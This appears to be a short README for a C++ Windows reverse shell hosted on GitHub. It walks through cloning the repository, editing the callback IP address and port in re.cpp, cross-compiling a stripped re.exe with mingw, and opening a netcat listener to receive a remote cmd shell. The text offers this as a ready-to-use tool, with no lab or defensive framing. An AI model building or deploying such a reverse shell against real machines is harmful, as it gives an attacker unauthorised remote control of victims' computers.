This is a simple C++ based reverse shell give us a windows cmd shell over TCP .
$ apt install mingw-w64
$ git clone https://github.com/dev-frog/C-Reverse-Shell.git
$ cd C-Reverse-Shell
There is re.cpp file you have to open and change the ip address and port number
70 else {
71 char host[] = "192.168.0.101"; // change this to your ip address
72 int port = 4444; //chnage this to your open port
73 RunShell(host, port);
74}
i686-w64-mingw32-g++ re.cpp -o re.exe -lws2_32 -lwininet -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
nc -lvnp <port number>